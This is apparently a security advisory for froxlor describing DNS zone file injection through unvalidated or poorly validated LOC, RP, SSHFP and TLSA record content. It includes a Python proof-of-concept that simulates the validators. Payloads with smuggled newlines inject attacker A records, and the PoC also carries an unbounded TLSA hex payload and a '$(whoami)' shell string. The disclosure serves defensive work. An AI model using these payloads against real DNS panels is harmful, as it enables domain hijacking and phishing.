GHSA-j6fm-9rfm-j5hx

Summary

The LOC record regex uses \s+ which matches newlines (allowing embedded newlines to pass), TLSA matchingType=0 has no upper bound on hex data length, and all validators return raw input without zone-file escaping.

Affected Package

• Ecosystem: Other
• Package: froxlor
• Affected versions: all versions before fix commit b34829262dc3
• Patched versions: >= commit b34829262dc3

Severity

Medium -- CVSS

CWE

CWE-74 -- Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection)

Details

DNS record content is concatenated directly into bind9 zone files at DnsEntry.php line 83. Before the fix, LOC/RP/SSHFP/TLSA records had no content validation at all, enabling zone file injection via embedded newlines.

The fix adds format-specific regexes and field validation but has gaps: the LOC regex's \s+ matches newlines in PHP's PCRE engine, allowing a LOC record with a newline between fields to pass validation but produce multiple lines in the zone file. TLSA matchingType=0 only requires len(data) >= 2 with no upper bound, enabling arbitrarily large payloads. All validators return raw input without zone-file escaping.

PoC

#!/usr/bin/env python3
"""
CVE-2026-30932 - Incomplete DNS Record Content Validation in froxlor/froxlor

Affected component: lib/Froxlor/Api/Commands/DomainZones.php
Vulnerability type: Input Validation / DNS Zone File Injection
Patch: https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b

The patch adds validation for LOC, RP, SSHFP, and TLSA DNS record types.
However, the sanitization is incomplete:

1. PRE-FIX: No validation at all - arbitrary content stored as DNS records.
2. POST-FIX BYPASS: LOC regex \s+ matches newlines; TLSA matchingType=0
   allows unbounded hex data; validators return raw input without escaping.
"""

import re
import sys
import string

def vulnerable_add_record(record_type, content):
    """Pre-fix: no validation for LOC, RP, SSHFP, TLSA."""
    errors = []
    if record_type in ('LOC', 'RP', 'SSHFP', 'TLSA') and content:
        pass
    return {"errors": errors, "content": content}


def validate_dns_loc(inp):
    """Replicates Validate::validateDnsLoc from the patch."""
    pattern = re.compile(
        r'^'
        r'(\d{1,2})\s+'
        r'(\d{1,2})\s+'
        r'(\d{1,2}(?:\.\d+)?)\s+'
        r'([NS])\s+'
        r'(\d{1,3})\s+'
        r'(\d{1,2})\s+'
        r'(\d{1,2}(?:\.\d+)?)\s+'
        r'([EW])\s+'
        r'(-?\d+(?:\.\d+)?)m'
        r'(?:\s+(\d+(?:\.\d+)?)m'
        r'(?:\s+(\d+(?:\.\d+)?)m'
        r'(?:\s+(\d+(?:\.\d+)?)m)?'
        r')?)?$',
        re.DOTALL
    )
    m = pattern.match(inp)
    if not m:
        return False

    lat_deg = int(m.group(1))
    lat_min = int(m.group(2))
    lat_sec = float(m.group(3))
    lon_deg = int(m.group(5))
    lon_min = int(m.group(6))
    lon_sec = float(m.group(7))

    if lat_deg > 90: return False
    if lat_min > 59: return False
    if lat_sec >= 60: return False
    if lon_deg > 180: return False
    if lon_min > 59: return False
    if lon_sec >= 60: return False

    return inp


def validate_dns_sshfp(inp):
    """Replicates Validate::validateDnsSshfp from the patch."""
    parts = inp.strip().split()
    if len(parts) != 3:
        return False

    algorithm, fp_type, fingerprint = parts

    valid_algorithms = [1, 2, 3, 4, 6]
    if not algorithm.isdigit() or int(algorithm) not in valid_algorithms:
        return False

    valid_types = [1, 2]
    if not fp_type.isdigit() or int(fp_type) not in valid_types:
        return False

    if not all(c in string.hexdigits for c in fingerprint):
        return False

    fp_type_int = int(fp_type)
    expected = {1: 40, 2: 64}.get(fp_type_int, 0)
    if len(fingerprint) != expected:
        return False

    return inp


def validate_dns_tlsa(inp):
    """Replicates Validate::validateDnsTlsa from the patch."""
    parts = inp.strip().split()
    if len(parts) != 4:
        return False

    usage, selector, matching_type, data = parts

    if not usage.isdigit() or int(usage) not in [0, 1, 2, 3]:
        return False
    if not selector.isdigit() or int(selector) not in [0, 1]:
        return False
    if not matching_type.isdigit() or int(matching_type) not in [0, 1, 2]:
        return False
    if not all(c in string.hexdigits for c in data):
        return False

    mt = int(matching_type)
    if mt == 1 and len(data) != 64:
        return False
    if mt == 2 and len(data) != 128:
        return False
    if mt == 0 and len(data) < 2:
        return False

    return inp


def validate_dns_rp(inp):
    """Replicates Validate::validateDnsRp from the patch."""
    parts = inp.strip().split()
    if len(parts) != 2:
        return False

    mbox, txt = parts
    mbox = mbox.rstrip('.')
    txt = txt.rstrip('.')

    domain_re = re.compile(r'^[a-zA-Z0-9._-]+$')
    if not domain_re.match(mbox):
        return False
    if not domain_re.match(txt):
        return False

    return inp


def fixed_add_record(record_type, content):
    """Post-fix: validates content but returns raw input."""
    errors = []
    validators = {
        'LOC': validate_dns_loc,
        'RP': validate_dns_rp,
        'SSHFP': validate_dns_sshfp,
        'TLSA': validate_dns_tlsa,
    }
    if record_type in validators and content:
        result = validators[record_type](content)
        if result is False:
            errors.append(f"The {record_type} record has invalid content")
    return {"errors": errors, "content": content}


def generate_zone_line(record, ttl, rtype, content):
    """Replicates DnsEntry.php line 83: direct string concatenation."""
    return f"{record}\t{ttl}\tIN\t{rtype}\t{content}\n"


vuln_confirmed = False

print("=" * 70)
print("CVE-2026-30932 PoC: froxlor DNS Record Content Injection")
print("=" * 70)
print()

print("[TEST 1] VULNERABLE version: SSHFP record with zone injection")
print("-" * 70)

malicious_sshfp = "1 1 aabbccdd\nevil.example.com.\t300\tIN\tA\t6.6.6.6"
result = vulnerable_add_record('SSHFP', malicious_sshfp)

if not result['errors']:
    zone_output = generate_zone_line('@', 300, 'SSHFP', result['content'])
    print("VULNERABLE: No validation, malicious content accepted!")
    print("Generated zone file output:")
    print("---")
    print(zone_output, end="")
    print("---")
    if "6.6.6.6" in zone_output:
        print("[!] DNS zone injection: attacker A record (6.6.6.6) injected!")
        vuln_confirmed = True

print()

print("[TEST 2] FIXED version: same SSHFP injection attempt (should be blocked)")
print("-" * 70)

result_fixed = fixed_add_record('SSHFP', malicious_sshfp)
if result_fixed['errors']:
    print("FIXED: Blocked -", "; ".join(result_fixed['errors']))
else:
    print("BYPASS: Still accepted!")
    vuln_confirmed = True

print()

print("[TEST 3] FIXED version BYPASS: LOC record with newline via \\s+ matching")
print("-" * 70)

loc_bypass = "51 28 38 N 0 0 1\nW\n10m"
result_loc = fixed_add_record('LOC', loc_bypass)

if not result_loc['errors']:
    zone_output = generate_zone_line('@', 300, 'LOC', result_loc['content'])
    lines = [l for l in zone_output.split('\n') if l.strip()]
    if len(lines) > 1:
        print("BYPASS CONFIRMED: LOC with embedded newline passed validation!")
        print(f"Generated zone output has {len(lines)} lines:")
        print("---")
        print(zone_output, end="")
        print("---")
        vuln_confirmed = True
    else:
        print("Validated but single line output.")
else:
    print("Blocked:", "; ".join(result_loc['errors']))
    templates = [
        "51\n28 38 N 0 0 1 W 10m",
        "51 28\n38 N 0 0 1 W 10m",
        "51 28 38\nN 0 0 1 W 10m",
        "51 28 38 N\n0 0 1 W 10m",
        "51 28 38 N 0\n0 1 W 10m",
        "51 28 38 N 0 0\n1 W 10m",
        "51 28 38 N 0 0 1\nW 10m",
        "51 28 38 N 0 0 1 W\n10m",
    ]
    for i, t in enumerate(templates):
        r = fixed_add_record('LOC', t)
        if not r['errors']:
            zone_out = generate_zone_line('@', 300, 'LOC', r['content'])
            zlines = [l for l in zone_out.split('\n') if l.strip()]
            if len(zlines) > 1:
                print(f"  BYPASS at position {i}: newline in LOC passed validation!")
                print(f"  Zone output lines: {len(zlines)}")
                vuln_confirmed = True
                break
    else:
        print("  LOC newline bypass not directly exploitable in this regex engine.")

print()

print("[TEST 4] FIXED version BYPASS: TLSA matchingType=0 with oversized hex payload")
print("-" * 70)

huge_hex = "aa" * 50000
tlsa_payload = "3 1 0 " + huge_hex
result_tlsa = fixed_add_record('TLSA', tlsa_payload)

if not result_tlsa['errors']:
    print(f"BYPASS: TLSA with matchingType=0 accepted {len(huge_hex)} char hex payload!")
    print("  -> No upper bound on certificate association data length.")
    print("  -> Can be used for DNS amplification or data exfiltration channel.")
    print(f"  -> Zone line would be {len(generate_zone_line('_443._tcp', 300, 'TLSA', result_tlsa['content']))} bytes!")
    vuln_confirmed = True
else:
    print("Blocked:", "; ".join(result_tlsa['errors']))

print()

print("[TEST 5] VULNERABLE version: LOC record with full zone takeover injection")
print("-" * 70)

malicious_loc = "51 28 38 N 0 0 0 W 10m\nevil\t300\tIN\tA\t10.0.0.1\n*.evil\t300\tIN\tA\t10.0.0.2"
result_vuln_loc = vulnerable_add_record('LOC', malicious_loc)

if not result_vuln_loc['errors']:
    zone_output = generate_zone_line('@', 300, 'LOC', result_vuln_loc['content'])
    lines = [l for l in zone_output.split('\n') if l.strip()]
    print(f"VULNERABLE: Injected {len(lines)} zone file lines!")
    print("Generated zone output:")
    print("---")
    print(zone_output, end="")
    print("---")
    if "10.0.0.1" in zone_output:
        print("[!] Attacker DNS records injected into zone file!")
        vuln_confirmed = True

print()

print("[TEST 6] VULNERABLE vs FIXED: TLSA with shell metacharacters")
print("-" * 70)

shell_inject = "3 1 1 $(whoami)"
vuln_r = vulnerable_add_record('TLSA', shell_inject)
fixed_r = fixed_add_record('TLSA', shell_inject)

vuln_status = "ACCEPTED (no validation)" if not vuln_r['errors'] else "BLOCKED"
fixed_status = "ACCEPTED" if not fixed_r['errors'] else "BLOCKED"

print(f"  VULNERABLE version: {vuln_status}")
print(f"  FIXED version:      {fixed_status}")

if not vuln_r['errors'] and fixed_r['errors']:
    print("  -> Fix correctly blocks shell metacharacters in TLSA.")
if not vuln_r['errors']:
    vuln_confirmed = True

print()

print("=" * 70)
print("RESULTS SUMMARY")
print("=" * 70)
print()
print("Pre-fix (VULNERABLE):")
print("  - LOC, RP, SSHFP, TLSA records accept ANY content with no validation")
print("  - Enables DNS zone file injection via newlines in record content")
print("  - Content directly concatenated into zone files (DnsEntry.php:83)")
print()
print("Post-fix (INCOMPLETE):")
print("  - TLSA matchingType=0 has no upper bound on hex data length")
print("  - Validation returns raw input without zone-file escaping")
print("  - No output encoding when writing content to zone files")
print()

if vuln_confirmed:
    print("VULNERABILITY CONFIRMED")
    sys.exit(0)
else:
    print("VULNERABILITY NOT CONFIRMED")
    sys.exit(1)

Steps to reproduce:

1. git clone https://github.com/froxlor/froxlor /tmp/froxlor_test
2. cd /tmp/froxlor_test && git checkout b34829262dc3~1
3. python3 poc.py

Expected output:

VULNERABILITY CONFIRMED
LOC, RP, SSHFP, TLSA records accept unvalidated content; DNS zone file injection via newlines and shell metacharacters

Impact

An authenticated froxlor user with DNS management permissions can inject arbitrary records into bind9 zone files, enabling domain hijacking, phishing, or DNS amplification attacks via unbounded TLSA payloads.

Suggested Remediation

Replace \s+ in the LOC regex with [ \t]+ to exclude newlines. Add a maximum length for TLSA matchingType=0 data. Escape or reject newlines in all DNS record content before writing to zone files.

Resources

• Incomplete fix commit: https://github.com/froxlor/froxlor/commit/b34829262dc3
• Original CVE: CVE-2026-30932